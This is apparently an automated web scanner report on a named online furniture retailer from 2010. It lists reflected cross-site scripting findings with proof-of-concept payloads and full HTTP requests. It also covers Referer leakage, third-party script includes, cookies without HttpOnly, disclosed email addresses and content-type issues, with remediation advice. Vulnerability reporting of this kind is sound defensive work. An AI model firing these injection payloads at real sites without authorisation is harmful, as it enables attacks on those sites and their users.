HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 04:35:21 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 25130
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b93d3"><script>alert(1)</script>e4641e20186 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /css/styles.cssb93d3"><script>alert(1)</script>e4641e20186 HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 04:35:14 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 25225
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b66ae"-alert(1)-"20caa7600dc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /favicon.icob66ae"-alert(1)-"20caa7600dc HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 04:35:05 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 25111
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15ebc"><script>alert(1)</script>c34ac36129 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /favicon.ico15ebc"><script>alert(1)</script>c34ac36129 HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 04:35:00 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 25201
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /LAN-Stations--LANetwork-Server-Station-with-Casters--6236--mo.html?utm_content=GLN-240C&utm_medium=shoppingengine&utm_source=become HTTP/1.1 Host: www.hertzfurniture.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 03:48:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Set-Cookie: DOASERVER=15; path=/ Cache-control: private Content-Length: 41960
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" version="-//W3C//DTD XHTML 1.1//EN" xml:lang="en ...[SNIP]... <!-- BEGIN LivePerson Button for id livechat --> <a id="live-help" href='http://server.iad.liveperson.net/hc/15614964/?cmd=file&file=visitorWantsToChat&site=15614964&byhref=1&VISITORVAR!survey3135044=LAN-Stations--LANetwork-Server-Station-with-Casters--6236--mo.html%3Futm_content%3DGLN-240C%26utm_medium%3Dshoppingengine%26utm_source%3Dbecome&imageUrl=http://www.hertzfurniture.com/images/live_chat_prompt' target='chat15614964' onClick="lpButtonCTTUrl = 'http://server.iad.liveperson.net/hc/15614964/?cmd=file&file=visitorWantsToChat&site=15614964&VISITORVAR!survey3135044=LAN-Stations--LANetwork-Server-Station-with-Casters--6236--mo.html%3Futm_content%3DGLN-240C%26utm_medium%3Dshoppingengine%26utm_source%3Dbecome&imageUrl=http://server.iad.liveperson.net/hcp/Gallery/ChatButton-Gallery/English/General/1a&referrer='+escape(document.location); lpButtonCTTUrl = (typeof(lpAppendVisitorCookies) != 'undefined' ? lpAppendVisitorCookies(lpButtonCTTUrl) : lpButtonCTTUrl); window.open(lpButtonCTTUrl,'chat15614964','width=475,height=400,resizable=yes'); return false;" > <img src='http://server.iad.liveperson.net/hc/15614964/?cmd=repstate&site=15614964&channel=web&&ver=1&imageUrl=http://www.hertzfurniture.com/images/live_person' name='hcIcon' border=0></a> ...[SNIP]... <!-- BEGIN LivePerson Chat link --><a onclick="lpButtonCTTUrl = ' http://server.iad.liveperson.net/hc/15614964/?cmd=file&file=visitorWantsToChat&site=15614964&referrer='+escape(document.location) ; lpButtonCTTUrl = (typeof(lpAppendVisitorCookies) != 'undefined' ? lpAppendVisitorCookies(lpButtonCTTUrl) : lpButtonCTTUrl); window.open(lpButtonCTTUrl,'chat15614964','width=475,height=400,resizable=yes');return false;" target="chat15614964" href="http://server.iad.liveperson.net/hc/15614964/?cmd=file&file=visitorWantsToChat&site=15614964&byhref=1">chat</a> ...[SNIP]... <li class="mcafee"><a href="https://www.mcafeesecure.com/RatingVerify?ref=www.hertzfurniture.com" target="_blank" rel="nofollow"><img src="http://media.hertzfurniture.com/images/certifications/mcafee.gif" alt="McAfee Secure" title="McAfee Secure sites help keep you safe from identity theft, credit card fraud, spyware, spam, viru ...[SNIP]... <li class="bbb"><a href="https://www.bbb.org/online/consumer/cks.aspx?ID=105072111147" target="_blank" rel="nofollow"><img src="http://media.hertzfurniture.com/images/certifications/bbb.gif" alt="BBB Accredited Business" title="The BBB Code of Business Practices represents sound advertising, selling and customer servi ...[SNIP]... <li class="verisign"><a href="https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=WWW.HERTZFURNITURE.COM&lang=en" target="_blank" rel="nofollow"><img src="http://media.hertzfurniture.com/images/certifications/verisign.gif" alt="Verisign Secured" title="The VeriSign Secured Seal is the number one sign of trust on the Internet" /> ...[SNIP]... </script> <script type="text/javascript" src="http://km6633.keymetric.net/KeyMetric.js"></script> ...[SNIP]... </script> <script src="http://reporting.singlefeed.com/z/track.js?v=1.1" type="text/javascript"></script> <script type="text/javascript" src="http://server.iad.liveperson.net/hcp/html/lpCheckRepState.js"></script> ...[SNIP]...
4. Cross-domain script includepreviousnext There are 2 instances of this issue:
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /church-furniture.html HTTP/1.1 Host: www.hertzfurniture.com Proxy-Connection: keep-alive Referer: http://www.hertzfurniture.com/LAN-Stations--LANetwork-Server-Station-with-Casters--6236--mo.html?utm_content=GLN-240C&utm_medium=shoppingengine&utm_source=become Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; DOASERVER=15; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; __utmv=1.|3=FT=!!!!=1,; __utmb=1.1.10.1293335042; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmS6633=e45fe3e8faca408a99c65ba18ef281a7; kmE6633=1:0|14968,; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 03:50:07 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 31218
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /LAN-Stations--LANetwork-Server-Station-with-Casters--6236--mo.html?utm_content=GLN-240C&utm_medium=shoppingengine&utm_source=become HTTP/1.1 Host: www.hertzfurniture.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 03:48:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Set-Cookie: DOASERVER=15; path=/ Cache-control: private Content-Length: 41960
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /church-furniture.html HTTP/1.1 Host: www.hertzfurniture.com Proxy-Connection: keep-alive Referer: http://www.hertzfurniture.com/LAN-Stations--LANetwork-Server-Station-with-Casters--6236--mo.html?utm_content=GLN-240C&utm_medium=shoppingengine&utm_source=become Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; DOASERVER=15; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; __utmv=1.|3=FT=!!!!=1,; __utmb=1.1.10.1293335042; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmS6633=e45fe3e8faca408a99c65ba18ef281a7; kmE6633=1:0|14968,; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 03:50:07 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 31218
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following email address was disclosed in the response:
info@hertzfurniture.com
Request
GET /church-furniture.html HTTP/1.1 Host: www.hertzfurniture.com Proxy-Connection: keep-alive Referer: http://www.hertzfurniture.com/LAN-Stations--LANetwork-Server-Station-with-Casters--6236--mo.html?utm_content=GLN-240C&utm_medium=shoppingengine&utm_source=become Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; DOASERVER=15; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; __utmv=1.|3=FT=!!!!=1,; __utmb=1.1.10.1293335042; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmS6633=e45fe3e8faca408a99c65ba18ef281a7; kmE6633=1:0|14968,; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 03:50:07 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 31218
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The following email addresses were disclosed in the response:
bhb@iceburg.net
brandon.aaron@gmail.com
brian@cherne.net
Request
GET /js/core.js,hf_liveperson.js,jquery.assorted.js,in-line.site.js,jqModal.js,jquery.field.js,jquery.livequery.js,modelpage.js,product.js,cart.js HTTP/1.1 Host: www.hertzfurniture.com Proxy-Connection: keep-alive Referer: http://www.hertzfurniture.com/LAN-Stations--LANetwork-Server-Station-with-Casters--6236--mo.html?utm_content=GLN-240C&utm_medium=shoppingengine&utm_source=become Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; DOASERVER=15; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; __utmv=1.|3=FT=!!!!=1,; __utmb=1.1.10.1293335042
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 03:48:49 GMT Content-Type: text/javascript Connection: close X-Powered-By: PHP/5.1.6 Etag: "1293033476-31f08c65ffb4f4406f4e7c8afcee977c" Cache-Control: public Content-Length: 50808
// SHOP BY CATEGORY DROPDOWN ////////////////////////////////////////////////// $(document).ready(function(){ var catconfig = { sensitivity: 3, // number = sensitivity threshold (must be 1 or ...[SNIP]... <brian@cherne.net> ...[SNIP]... <bhb@iceburg.net> ...[SNIP]... [i];if(op.selected){var v=$.browser.msie&&!(op.attributes['value'].specified)?op.text:op.value;if(one)return v;a.push(v);}}return a;}return el.value;};})(jQuery);
/* Copyright (c) 2007 Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net) * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses. * * Version ...[SNIP]...
The following email address was disclosed in the response:
klaus.hartl@stilbuero.de
Request
GET /js/jquery.cookie.js HTTP/1.1 Host: www.hertzfurniture.com Proxy-Connection: keep-alive Referer: http://www.hertzfurniture.com/LAN-Stations--LANetwork-Server-Station-with-Casters--6236--mo.html?utm_content=GLN-240C&utm_medium=shoppingengine&utm_source=become Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; DOASERVER=15
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 03:48:47 GMT Content-Type: text/javascript Connection: close X-Powered-By: PHP/5.1.6 Etag: "1253794441-c22d3dae3096e8abf2a44ccb719800dd" Cache-Control: public Content-Length: 4248
/** * Cookie plugin * * Copyright (c) 2006 Klaus Hartl (stilbuero.de) * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/ ...[SNIP]... kie will be set and the cookie transmission will * require a secure protocol (like HTTPS). * @type undefined * * @name $.cookie * @cat Plugins/Cookie * @author Klaus Hartl/klaus.hartl@stilbuero.de */
/** * Get the value of a cookie with the given name. * * @example $.cookie('the_cookie'); * @desc Get the value of a cookie. * * @param String name The name of the cookie. * @return The value of the cookie. * @type String * * @name $.cookie * @cat Plugins/Cookie * @author Klaus Hartl/klaus.hartl@stilbuero.de */ jQuery.cookie = function(name, value, options) { if (typeof value != 'undefined') { // name and value given, set cookie options = options || {}; if (value === null) {
...[SNIP]...
7. HTML does not specify charsetpreviousnext There are 2 instances of this issue:
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
GET /ajax.php HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 04:35:06 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.1.6 Cache-Control: public Content-Length: 6
GET /js/merc_common.php HTTP/1.1 Host: www.hertzfurniture.com Proxy-Connection: keep-alive Referer: http://www.hertzfurniture.com/LAN-Stations--LANetwork-Server-Station-with-Casters--6236--mo.html?utm_content=GLN-240C&utm_medium=shoppingengine&utm_source=become Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; DOASERVER=15; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; __utmv=1.|3=FT=!!!!=1,; __utmb=1.1.10.1293335042
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 03:48:49 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.1.6 Cache-Control: public Content-Length: 11328
var _urlModifyHistory = "/mercado/hf_mod_history.php"; var _urlCompare = "/mercado/compare.php"; var _urlUpdate = "/mercado/update_prefs.php"; var _urlProduct = "/mercado/notify_event.php";
// ...[SNIP]...
8. Content type incorrectly statedprevious There are 3 instances of this issue:
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
The response contains the following Content-type statement:
Content-Type: text/html
The response states that it contains HTML. However, it actually appears to contain plain text.
Request
GET /ajax.php HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 04:35:06 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.1.6 Cache-Control: public Content-Length: 6
The response contains the following Content-type statement:
Content-Type: text/plain
The response states that it contains plain text. However, it actually appears to contain unrecognised content.
Request
GET /favicon.ico?v=1.0 HTTP/1.1 Host: www.hertzfurniture.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; DOASERVER=15; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; __utmv=1.|3=FT=!!!!=1,; __utmb=1.1.10.1293335042; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmS6633=e45fe3e8faca408a99c65ba18ef281a7; kmE6633=1:0|14968,; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 03:48:57 GMT Content-Type: text/plain Connection: close Last-Modified: Thu, 23 Apr 2009 19:37:34 GMT ETag: "1398017-1536-4683e02f95b80" Content-Length: 5430
The response contains the following Content-type statement:
Content-Type: text/html
The response states that it contains HTML. However, it actually appears to contain script.
Request
